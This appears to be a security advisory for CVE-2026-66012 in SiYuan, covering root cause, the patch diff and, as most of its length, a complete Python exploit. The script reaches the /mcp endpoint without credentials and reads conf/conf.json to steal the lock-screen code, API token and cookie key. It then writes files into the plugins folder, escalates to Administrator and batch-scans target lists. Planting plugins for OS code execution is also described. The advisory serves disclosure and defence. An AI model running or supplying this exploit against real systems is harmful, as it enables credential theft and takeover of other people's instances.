#Summary

CVE-2026-66012 is a critical auth bypass in SiYuan before v3.7.2 that chains three independent authorization defects into a complete unauthenticated compromise. When the Publish service runs in anonymous mode - the documented way to share a public read-only site - a remote attacker reaches the /mcp kernel endpoint with zero credentials. The endpoint exposes 31 MCP tools including a file tool with unrestricted read/write/delete primitives. An attacker can read conf/conf.json to extract accessAuthCode, api.token, and cookieKey in plaintext, write arbitrary files to the workspace, and plant malicious plugins that execute with administrator privileges on the next desktop launch. CVSS 10.0 CRITICAL.

Affected versions: SiYuan 3.7.0, 3.7.1 Fixed: v3.7.2

#Affected versions

Precondition: The Publish reverse proxy must be enabled in anonymous mode, which requires both:

This is the documented configuration for operators who want to share a public read-only site. Default configuration has anonymous mode disabled (Auth.Enable = true), so this is not a default-install vulnerability.

#Root cause analysis

Three independent authorization defects compose into a complete chain.

#Defect 1: Missing authority check on /mcp route

kernel/mcp/server.go:28-34 (v3.7.1) registers the MCP endpoint with only a presence check:

func Serve(ginServer *gin.Engine) {
	ginServer.POST("/mcp", model.CheckAuth, handlePost)
	ginServer.GET("/mcp", model.CheckAuth, func(c *gin.Context) {
		c.Status(http.StatusMethodNotAllowed)
	})
	ginServer.DELETE("/mcp", model.CheckAuth, handleDelete)
}

model.CheckAuth is a presence check, not an authority check. Its first branch accepts three roles: RoleAdministrator, RoleEditor, or RoleReader:

func CheckAuth(c *gin.Context) {
	if role := GetGinContextRole(c); IsValidRole(role, []Role{
		RoleAdministrator,
		RoleEditor,
		RoleReader,
	}) {
		c.Next()
		return
	}
	// ...
}

Every other administrative endpoint in the kernel pairs CheckAuth with CheckAdminRole and/or CheckReadonly:

// kernel/api/router.go:380 and :560
ginServer.Handle("POST", "/api/convert/pandoc", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, pandoc)
ginServer.Handle("POST", "/api/petal/setPetalEnabled", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, setPetalEnabled)

// kernel/server/serve.go:936
ginGroup := ginServer.Group("/webdav", model.CheckAuth, model.CheckAdminRole)

/mcp is the anomaly - it is the only admin route that allows RoleReader principals.

#Defect 2: No role inspection in MCP dispatcher

kernel/mcp/handler.go:159-212 (the handleToolsCall function) looks up a tool by name and invokes it with no role, readonly, or capability checks:

func handleToolsCall(req *JsonRpcRequest) any {
	params, ok := req.Params.(map[string]interface{})
	...
	t := tools.LookupTool(toolName)
	...
	result, err := t.Handler(toolArgs)
}

All 31 registered tools are reachable: asset, attr, block, bookmark, dailynote, database, document, export, file, frontend, history, http_request, import, inbox, notebook, outline, question, ref, repo, search, skill, sql, sync, system, tag, template, todo_write, unzip, web_fetch, web_search, workspace.

The file tool (kernel/mcp/tools/file.go) is the payload. Its actions are list, read, write, delete, rename, copy, grep, find, stat - powerful primitives advertised as "debugging/log reading only" but with no enforcement of that scope. The resolvePath function confines paths to the workspace boundary, but nothing further:

func resolvePath(rel string) (string, error) {
	rel = filepath.Clean(strings.ReplaceAll(rel, "/", string(os.PathSeparator)))
	abs := filepath.Join(util.WorkspaceDir, rel)
	if !gulu.File.IsSubPath(util.WorkspaceDir, abs) {
		return "", fmt.Errorf("path escapes workspace: %s", rel)
	}
	return abs, nil
}

This stops ../ traversal but does not protect conf/conf.json, data/plugins/, data/storage/, or repo/ - every secret and every executable artifact SiYuan owns.

The configuration file holds plaintext secrets in kernel/model/conf.go:67,86:

AccessAuthCode string `json:"accessAuthCode"` // lock-screen password
CookieKey      string `json:"cookieKey"`      // HMAC key for session cookies

And the API token in kernel/conf/api.go:

type API struct {
	Token string `json:"token"`  // 16-char random, maps to RoleAdministrator
}

The accessAuthCode is masked on the way out of /api/system/getConf, but on disk it is plaintext, and the file tool reads the disk.

#Defect 3: Anonymous Publish proxy stamps a valid RoleReader JWT

kernel/server/proxy/publish.go:167-232 (the PublishServiceTransport.RoundTrip method). When Conf.Publish.Auth.Enable is false, the entire authentication block is skipped and every proxied request gets stamped with an anonymous JWT:

if Conf.Publish.Auth.Enable == false {
	// anonymous mode: no auth check
	request.Header.Set(model.XAuthTokenKey, model.GetBasicAuthAccount("").Token)
	response, err = publishRoundTripper.RoundTrip(request)
	return
}

model.GetBasicAuthAccount("") is the anonymous account created at boot in kernel/model/auth.go:91-103:

func InitPublishAccounts() {
	accountsMap = AccountsMap{
		"": &Account{}, // anonymous user
	}
	...
	InitPublishJWT()
}

InitPublishJWT signs a genuine HS256 JWT for it with role: RoleReader:

t := jwt.NewWithClaims(
	jwt.SigningMethodHS256,
	jwt.MapClaims{
		"iss": iss,                     // "siyuan-kernel"
		"sub": username,                // "" for anonymous
		"aud": "siyuan-publish-server",
		"jti": uuid.New().String(),
		ClaimsKeyRole: RoleReader,      // role
	},
)

On the kernel side, jwtMiddleware is installed globally and converts that header into a gin context role:

func jwtMiddleware(c *gin.Context) {
	if token := model.ParseXAuthToken(c.Request); token != nil {
		if token.Valid {
			claims := model.GetTokenClaims(token)
			c.Set(model.ClaimsContextKey, claims)
			c.Set(model.RoleContextKey, model.GetClaimRole(claims))
			c.Next()
			return
		}
	}
	c.Set(model.RoleContextKey, model.RoleVisitor)
	c.Next()
}

#The complete chain

anonymous TCP connection to Publish port 6808

proxy stamps: X-Auth-Token: <anonymous RoleReader JWT>

jwtMiddleware sets: role = RoleReader

CheckAuth accepts RoleReader

handleToolsCall() dispatches file tool with no role check

attacker runs file/read on conf/conf.json

credentials stolen in plaintext

#Patch diff

#What the fix does

v3.7.2 addresses Defect 1 by adding the missing authority checks to the /mcp route registration:

 func Serve(ginServer *gin.Engine) {
-	ginServer.POST("/mcp", model.CheckAuth, handlePost)
-	ginServer.GET("/mcp", model.CheckAuth, func(c *gin.Context) {
+	// MCP tools expose management-level primitives such as arbitrary workspace file
+	// read/write/delete, SQL, and plugin distribution. Administrator role is required.
+	// Otherwise, the RoleReader JWT injected by Publish anonymous mode can invoke all tools.
+	ginServer.POST("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handlePost)
+	ginServer.GET("/mcp", model.CheckAuth, model.CheckAdminRole, func(c *gin.Context) {
 		c.Status(http.StatusMethodNotAllowed)
 	})
-	ginServer.DELETE("/mcp", model.CheckAuth, handleDelete)
+	ginServer.DELETE("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handleDelete)
 }

CheckAdminRole enforces strict equality against RoleAdministrator:

func CheckAdminRole(c *gin.Context) {
	if IsAdminRoleContext(c) {
		c.Next()
	} else {
		c.AbortWithStatus(http.StatusForbidden)
	}
}

The anonymous RoleReader JWT now yields HTTP 403 on /mcp.

Note: v3.7.2 does not narrow the file tool's scope, and the Publish proxy still stamps the anonymous JWT on all proxied requests. The fix is purely at the route layer, blocking Defect 1. Defects 2 and 3 remain, but are not exploitable because no principal with sufficient authority can reach Defect 2.

#Proof of concept

#exploit.py - SiYuan Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-66012 - SiYuan unauthenticated MCP access -> workspace file read/write -> admin takeover
Affected: SiYuan kernel 3.7.0 <= v < 3.7.2 (fixed in 3.7.2)
Type: Auth Bypass (missing authorization, CWE-862) chained to arbitrary file read/write

The kernel registers POST /mcp behind model.CheckAuth only, with no CheckAdminRole and no
CheckReadonly. CheckAuth is a presence check that accepts RoleReader. When the Publish
reverse proxy runs in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false)
it stamps every proxied request with the anonymous RoleReader JWT, so an attacker with no
credentials at all reaches all 31 MCP tools through the Publish port. The `file` tool exposes
list/read/write/delete/rename/copy over the whole workspace, which yields conf/conf.json in
plaintext: accessAuthCode, api.token and cookieKey.

Target the PUBLISH port (default 6808), not the kernel port. Send no credentials: the proxy
overwrites X-Auth-Token with the anonymous JWT, so anything you supply is discarded.

Usage:
  python exploit.py --host <target> --port 6808
  python exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
  python exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
  python exploit.py --host https://notes.corp.com:6808/mcp
  python exploit.py --host 192.168.1.10 --no-write        # read-only, touch nothing
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import http.client
import json
import ssl
import sys
import uuid
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-66012"
VULN_TYPE = "Auth Bypass"

PROTO_2026    = "2026-07-28"      # sessionless MCP path: handlePost2026, no initialize needed
PROTO_CLASSIC = "2025-06-18"      # fallback: initialize -> Mcp-Session-Id -> tools/call
CONF_PATH     = "conf/conf.json"  # workspace-relative, holds the secrets in cleartext
DEFAULT_MCP_PATH = "/mcp"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------- helpers

def _loads(data: bytes):
    """Parse a JSON body. Tolerates SSE framing (`data: {...}`) and returns None on junk."""
    if not data:
        return None
    text = data.decode("utf-8", "replace").strip()
    if text.startswith("data:"):
        lines = [l[5:].strip() for l in text.splitlines() if l.startswith("data:")]
        text = "".join(lines)
    try:
        return json.loads(text)
    except ValueError:
        return None


def _get_header(headers: dict, name: str):
    low = name.lower()
    for k, v in headers.items():
        if k.lower() == low:
            return v
    return None


class MCPClient:
    """Minimal MCP-over-HTTP client. Network I/O only, no credentials ever sent."""

    def __init__(self, host, port, use_tls=False, path=DEFAULT_MCP_PATH, timeout=15.0):
        self.host = host
        self.port = port
        self.use_tls = use_tls
        self.path = path or DEFAULT_MCP_PATH
        self.timeout = timeout
        self.session_id = None
        self.mode = None          # "2026" once the sessionless path is confirmed, else "classic"
        self.last_status = None

    def _conn(self):
        if self.use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            return http.client.HTTPSConnection(self.host, self.port, timeout=self.timeout, context=ctx)
        return http.client.HTTPConnection(self.host, self.port, timeout=self.timeout)

    def _post(self, payload, extra=None):
        body = json.dumps(payload).encode()
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
            # identity keeps the global gzip middleware from compressing the reply
            "Accept-Encoding": "identity",
            "Content-Length": str(len(body)),
            "User-Agent": UA,
        }
        if extra:
            headers.update(extra)
        conn = self._conn()
        try:
            conn.request("POST", self.path, body=body, headers=headers)
            resp = conn.getresponse()
            data = resp.read()
            self.last_status = resp.status
            return resp.status, dict(resp.getheaders()), data
        finally:
            try:
                conn.close()
            except Exception:
                pass

    def _handshake(self):
        """Classic path: initialize, keep the Mcp-Session-Id the server hands back."""
        payload = {
            "jsonrpc": "2.0", "id": 1, "method": "initialize",
            "params": {
                "protocolVersion": PROTO_CLASSIC,
                "capabilities": {},
                "clientInfo": {"name": "mcp-client", "version": "1.0"},
            },
        }
        status, headers, data = self._post(payload)
        if status != 200:
            return False
        sid = _get_header(headers, "Mcp-Session-Id")
        if sid:
            self.session_id = sid
        return True

    def rpc(self, method, params=None, rid=1):
        """Issue one JSON-RPC call. Returns (http_status, parsed_json_or_None, raw_bytes)."""
        payload = {"jsonrpc": "2.0", "id": rid, "method": method}
        if params is not None:
            payload["params"] = params

        # Preferred: single sessionless request on the 2026-07-28 protocol path.
        # Mcp-Method is deliberately omitted (if sent it must equal the body method, else 400).
        if self.mode in (None, "2026"):
            status, headers, data = self._post(payload, {"MCP-Protocol-Version": PROTO_2026})
            if status == 200:
                self.mode = "2026"
                return status, _loads(data), data
            # 401/403 are authorization verdicts, not protocol problems: report them as-is.
            if self.mode == "2026" or status in (401, 403):
                return status, _loads(data), data

        # Fallback: session-based handshake for builds without the 2026 branch.
        if self.session_id is None and not self._handshake():
            return self.last_status, None, b""
        self.mode = "classic"
        extra = {"Mcp-Session-Id": self.session_id} if self.session_id else {}
        status, headers, data = self._post(payload, extra)
        return status, _loads(data), data

    def tools_list(self):
        status, parsed, raw = self.rpc("tools/list", rid=1)
        tools = []
        if isinstance(parsed, dict):
            tools = (parsed.get("result") or {}).get("tools") or []
        return status, tools, raw

    def file_tool(self, action, rid=2, **arguments):
        """Call the `file` tool. Returns (http_status, text_or_None, is_error, raw)."""
        arguments["action"] = action
        status, parsed, raw = self.rpc("tools/call", {"name": "file", "arguments": arguments}, rid=rid)
        if not isinstance(parsed, dict):
            return status, None, True, raw
        result = parsed.get("result")
        if not isinstance(result, dict):
            return status, None, True, raw
        # A failed tool call still returns HTTP 200: isError sits inside result, not as a
        # JSON-RPC error member.
        is_error = bool(result.get("isError"))
        text = None
        content = result.get("content")
        if isinstance(content, list) and content:
            first = content[0]
            if isinstance(first, dict):
                text = first.get("text")
        return status, text, is_error, raw

    def read_file(self, path, rid=2):
        # limit=-1 defeats the 200-line default truncation in fileRead; conf.json is longer.
        return self.file_tool("read", rid=rid, path=path, limit=-1)


def _api_call(host, port, use_tls, endpoint, token=None, timeout=15.0):
    """POST a kernel API endpoint. Used for the privilege-escalation rung on the kernel port."""
    body = b"{}"
    headers = {
        "Content-Type": "application/json",
        "Accept-Encoding": "identity",
        "Content-Length": str(len(body)),
        "User-Agent": UA,
    }
    if token:
        headers["Authorization"] = "Token " + token
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("POST", endpoint, body=body, headers=headers)
        resp = conn.getresponse()
        return resp.status, resp.read()
    finally:
        try:
            conn.close()
        except Exception:
            pass


def _harvest(conf_text):
    """Pull the three secrets out of a raw conf.json string."""
    out = {}
    try:
        conf = json.loads(conf_text)
    except (ValueError, TypeError):
        return out
    if not isinstance(conf, dict):
        return out
    if isinstance(conf.get("accessAuthCode"), str):
        out["accessAuthCode"] = conf["accessAuthCode"]
    if isinstance(conf.get("cookieKey"), str):
        out["cookieKey"] = conf["cookieKey"]
    api = conf.get("api")
    if isinstance(api, dict) and isinstance(api.get("token"), str):
        out["token"] = api["token"]
    return out


def _excerpt(text, head=900, tail=900):
    """Head+tail view. conf.json buries the secrets past a long `langs` array, so a plain
    head-only truncation would cut away the exact evidence the read proves."""
    if len(text) <= head + tail:
        return text
    omitted = len(text) - head - tail
    return (text[:head] + f"\n\n...[{omitted} bytes omitted from this display only - "
                          f"the full {len(text)}-byte file was returned by the server]...\n\n" + text[-tail:])


def _diagnose(status, raw):
    """Turn a non-exploitable response into a one-line reason."""
    if status in (401, 403):
        return f"blocked - HTTP {status} on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)"
    text = (raw or b"").decode("utf-8", "replace").strip()
    if '"code":-1' in text and "Auth" in text:
        return "blocked - Publish basic auth is enabled (not anonymous mode)"
    snippet = text[:120].replace("\n", " ")
    return f"no MCP tool list in response (HTTP {status}) {snippet}".strip()


# ---------------------------------------------------------------- scan mode

def _try_exploit(host, port, use_tls, path=DEFAULT_MCP_PATH, timeout=10.0):
    """Silent probe for --list. Read-only: never writes to the target. Never prints or exits."""
    try:
        mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
        status, tools, raw = mcp.tools_list()
        if not tools:
            return False, _diagnose(status, raw)
        names = [t.get("name") for t in tools if isinstance(t, dict)]
        if "file" not in names:
            return True, f"{len(tools)} MCP tools exposed unauthenticated, but no `file` tool"
        _, text, is_error, _ = mcp.read_file(CONF_PATH)
        if is_error or not text:
            return True, f"{len(tools)} MCP tools reachable unauthenticated; {CONF_PATH} unreadable"
        secrets = _harvest(text)
        if not secrets:
            return True, f"{len(tools)} MCP tools reachable unauthenticated; read {len(text)} bytes of {CONF_PATH}"
        bits = []
        if "accessAuthCode" in secrets:
            bits.append("accessAuthCode=" + (secrets["accessAuthCode"] or "<empty>"))
        if "token" in secrets:
            bits.append("api.token=" + secrets["token"])
        if "cookieKey" in secrets:
            bits.append("cookieKey=" + secrets["cookieKey"])
        return True, f"{len(tools)} tools, secrets recovered: " + ", ".join(bits)
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"


def _parse_target(line, default_port, default_path=DEFAULT_MCP_PATH):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
        ok, evidence = _try_exploit(host, port, use_tls, path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------- single target

def exploit(host, port, use_tls, path, target_file, kernel_port, do_write, timeout):
    header(host, port)
    mcp = MCPClient(host, port, use_tls, path, timeout=timeout)

    # Rung 1 - unauthenticated reach. No cookie, no Authorization, no credentials of any kind.
    step(1, f"POST {path} with no credentials (MCP-Protocol-Version: {PROTO_2026}) - listing tools")
    status, tools, raw = mcp.tools_list()
    if not tools:
        reason = _diagnose(status, raw)
        section("SERVER RESPONSE", (raw or b"<empty body>").decode("utf-8", "replace")[:600] or "<empty body>")
        done(False, reason)
    names = sorted(t.get("name") for t in tools if isinstance(t, dict))
    section("EXPOSED MCP TOOLS (unauthenticated)",
            f"HTTP {status}  |  {len(tools)} tools reachable with zero credentials\n" + ", ".join(names))
    if "file" not in names:
        done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, but no `file` tool")
    print(f"  -> `file` tool present (list/read/write/delete/rename/copy over the whole workspace)\n")

    # Rung 2 - arbitrary workspace read.
    step(2, f"Reading `{target_file}` through the file tool (limit=-1 defeats the 200-line default)")
    status, text, is_error, raw = mcp.read_file(target_file, rid=2)
    if is_error or text is None:
        section("TOOL RESPONSE", (raw or b"").decode("utf-8", "replace")[:600] or "<empty body>")
        done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, "
                   f"but `{target_file}` could not be read")
    section(f"FILE CONTENT ({target_file}) - {len(text)} bytes", _excerpt(text))

    # Credential harvest. conf/conf.json is where the secrets live; if the operator pointed
    # --file elsewhere, fetch it separately so the escalation rung stays available.
    secrets = _harvest(text)
    if not secrets and target_file != CONF_PATH:
        step(3, f"Harvesting credentials from `{CONF_PATH}`")
        _, conf_text, conf_err, _ = mcp.read_file(CONF_PATH, rid=3)
        if not conf_err and conf_text:
            secrets = _harvest(conf_text)
            section(f"CREDENTIAL FILE ({CONF_PATH}) - {len(conf_text)} bytes", _excerpt(conf_text, 600, 900))

    if secrets:
        lines = []
        if "accessAuthCode" in secrets:
            lines.append(f"accessAuthCode : {secrets['accessAuthCode'] or '<empty>'}   (instance lock-screen password, plaintext on disk)")
        if "token" in secrets:
            lines.append(f"api.token      : {secrets['token']}   (maps to RoleAdministrator in CheckAuth)")
        if "cookieKey" in secrets:
            lines.append(f"cookieKey      : {secrets['cookieKey']}   (HMAC key for session cookies - offline admin cookie forgery)")
        section("STOLEN CREDENTIALS", "\n".join(lines))

    # Rung 4 - arbitrary workspace write, proven by a byte-for-byte round trip.
    write_ok = False
    marker_dir = None
    if do_write:
        marker = "mk-" + uuid.uuid4().hex[:10]
        marker_dir = "data/plugins/" + marker
        marker_path = marker_dir + "/index.js"
        payload = f"// {CVE_ID} write-primitive proof - inert marker {marker}"
        step(4, f"Writing `{marker_path}` (the real plugin-planting location), then reading it back")
        _, wtext, werr, wraw = mcp.file_tool("write", rid=4, path=marker_path, data=payload)
        if werr:
            section("WRITE RESPONSE", (wraw or b"").decode("utf-8", "replace")[:400])
        else:
            _, back, berr, _ = mcp.read_file(marker_path, rid=5)
            write_ok = (not berr) and back is not None and back.strip() == payload.strip()
            section("WRITE ROUND TRIP",
                    f"server said : {wtext}\n"
                    f"wrote       : {payload}\n"
                    f"read back   : {back}\n"
                    f"identical   : {write_ok}")
            # Clean up our own marker only. Never delete data/, conf/ or repo/.
            _, dtext, derr, _ = mcp.file_tool("delete", rid=6, path=marker_dir)
            print(f"  -> cleanup: {'deleted ' + marker_dir if not derr else 'FAILED to delete ' + marker_dir}\n")
    else:
        step(4, "Write proof skipped (--no-write): target left untouched")

    # Rung 3 - the stolen api.token is Administrator, but only on the kernel port. Through the
    # Publish proxy the anonymous RoleReader JWT overwrites X-Auth-Token, so we must go direct.
    admin_ok = False
    token = secrets.get("token")
    if token and kernel_port:
        step(5, f"Escalating: replaying the stolen api.token against the kernel port {kernel_port} (/api/system/getConf)")
        try:
            a_status, a_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=token, timeout=timeout)
            n_status, n_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=None, timeout=timeout)
            a_text = a_body.decode("utf-8", "replace")
            n_text = n_body.decode("utf-8", "replace")
            admin_ok = a_status == 200 and '"code":0' in a_text
            section("ADMINISTRATOR API ACCESS (kernel port)",
                    f"with stolen token : HTTP {a_status}  {a_text[:220]}\n"
                    f"without token     : HTTP {n_status}  {n_text[:220]}")
        except Exception as e:
            section("ADMINISTRATOR API ACCESS (kernel port)",
                    f"kernel port {kernel_port} not reachable from here ({e.__class__.__name__}) - "
                    f"escalation rung not demonstrated, the stolen token remains valid against it")
    elif not token:
        step(5, "Escalation skipped: no api.token recovered")

    # Verdict, strongest primitive first.
    parts = [f"{len(tools)} MCP tools reachable with zero credentials"]
    if "accessAuthCode" in secrets:
        parts.append(f"accessAuthCode='{secrets['accessAuthCode']}'")
    if "token" in secrets:
        parts.append(f"api.token='{secrets['token']}'")
    if "cookieKey" in secrets:
        parts.append(f"cookieKey='{secrets['cookieKey']}'")
    if write_ok:
        parts.append("arbitrary workspace write round-tripped under data/plugins/")
    if admin_ok:
        parts.append("stolen token accepted as Administrator on the kernel API (code:0)")
    done(True, "Unauthenticated MCP access - " + "; ".join(parts))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:6808/mcp)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=6808,
                        help="Publish proxy port - the unauthenticated one (default: 6808)")
    parser.add_argument("--file", default=CONF_PATH,
                        help=f"Workspace-relative file to read (default: {CONF_PATH})")
    parser.add_argument("--kernel-port", type=int, default=6806,
                        help="Kernel API port for the privilege-escalation rung (default: 6806, 0 to skip)")
    parser.add_argument("--no-write", action="store_true",
                        help="Skip the write-primitive proof and leave the target untouched")
    parser.add_argument("--timeout", type=float, default=15.0, help="Socket timeout in seconds (default: 15)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, DEFAULT_MCP_PATH)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.file, args.kernel_port, not args.no_write, args.timeout)

See the full exploit.py in the GitHub archive for the complete, production-ready implementation with target parsing, protocol fallback, batch scanning, and proper error handling.

#Usage

# Default run: full ladder, writes a marker under data/plugins/ and deletes it
python3 exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806

# Read-only, touch nothing on the target (recommended for production engagements)
python3 exploit.py --host 192.168.1.10 --no-write

# Read an arbitrary workspace-relative file
python3 exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json

# Full URL form, including a non-default MCP path and TLS
python3 exploit.py --host https://notes.corp.com:6808/mcp

# Batch scan an asset list
python3 exploit.py --list targets.txt --workers 20

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-66012
  Type: Auth Bypass  |  Target: 127.0.0.1:6808
============================================================

[STEP 1] POST /mcp with no credentials (MCP-Protocol-Version: 2026-07-28) - listing tools

--- EXPOSED MCP TOOLS (unauthenticated) ---
HTTP 200  |  31 tools reachable with zero credentials
asset, attr, block, bookmark, dailynote, database, document, export, file, frontend, history,
http_request, import, inbox, notebook, outline, question, ref, repo, search, skill, sql, sync,
system, tag, template, todo_write, unzip, web_fetch, web_search, workspace
---

[STEP 2] Reading `conf/conf.json` through the file tool (limit=-1 defeats the 200-line default)
--- FILE CONTENT (conf/conf.json) - 10902 bytes ---
{
  "accessAuthCode": "LabAuthCode123",
  ...
  "api": {
    "token": "y7r596ybxc0t6e0n"
  },
  "cookieKey": "ngc7urrqyvh64yo3",
  ...
}
---

--- STOLEN CREDENTIALS ---
accessAuthCode : LabAuthCode123   (instance lock-screen password, plaintext on disk)
api.token      : y7r596ybxc0t6e0n   (maps to RoleAdministrator in CheckAuth)
cookieKey      : ngc7urrqyvh64yo3   (HMAC key for session cookies - offline admin cookie forgery)
---

[STEP 4] Writing `data/plugins/alim-...`/index.js, then reading it back
--- WRITE ROUND TRIP ---
server said : file written: data/plugins/alim-16ec2ba28a/index.js
identical   : True
---
  -> cleanup: deleted data/plugins/alim-16ec2ba28a

[STEP 5] Escalating: replaying the stolen api.token against the kernel port 6806
--- ADMINISTRATOR API ACCESS (kernel port) ---
with stolen token : HTTP 200  {"code":0,"msg":"","data":{"conf":{...}}}
without token     : HTTP 401  {"code":-1,"msg":"Lock screen password authentication failed..."}
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Unauthenticated MCP access - 31 MCP tools reachable with zero credentials;
  accessAuthCode='LabAuthCode123'; api.token='y7r596ybxc0t6e0n'; cookieKey='ngc7urrqyvh64yo3';
  arbitrary workspace write round-tripped under data/plugins/; stolen token accepted as
  Administrator on the kernel API (code:0)
============================================================

#Expected output (patched target v3.7.2)

============================================================
  ALIM EXPLOIT  CVE-2026-66012
  Type: Auth Bypass  |  Target: 127.0.0.1:6818
============================================================

[STEP 1] POST /mcp with no credentials (MCP-Protocol-Version: 2026-07-28) - listing tools

--- SERVER RESPONSE ---
<empty body>
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: blocked - HTTP 403 on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)
============================================================

#Exploitation notes

#Preconditions

#Exploitation quirks

#Reliability and impact

#Caveats on RCE claim

The demonstrated escalation rungs are:

Rung Primitive Feasible in lab?
1 Unauthenticated reach Yes. Single request, 31 tools exposed.
2 Arbitrary workspace read Yes. conf/conf.json yields plaintext credentials.
4 Arbitrary workspace write Yes. Round-trip marker file write.
3 Credential to Administrator Yes. Stolen token elevates to admin on kernel port.
5a Code execution via Electron desktop plugin No. Desktop client not running in Docker.
5b Code execution via kernel-side goja plugin No. Kernel plugin execution is disabled by configuration.
6 OS command execution via pandoc No. No pandoc binary in alpine image.

The demonstrated impact is admin takeover of the running instance. On a desktop deployment with the Electron client, rung 5a is reachable: write data/plugins/<name>/plugin.json and index.js, and the desktop app loads the plugin on next launch with nodeIntegration: true and contextIsolation: false, giving full OS code execution. This is not demonstrated in a headless lab but is documented by the upstream advisory.

#References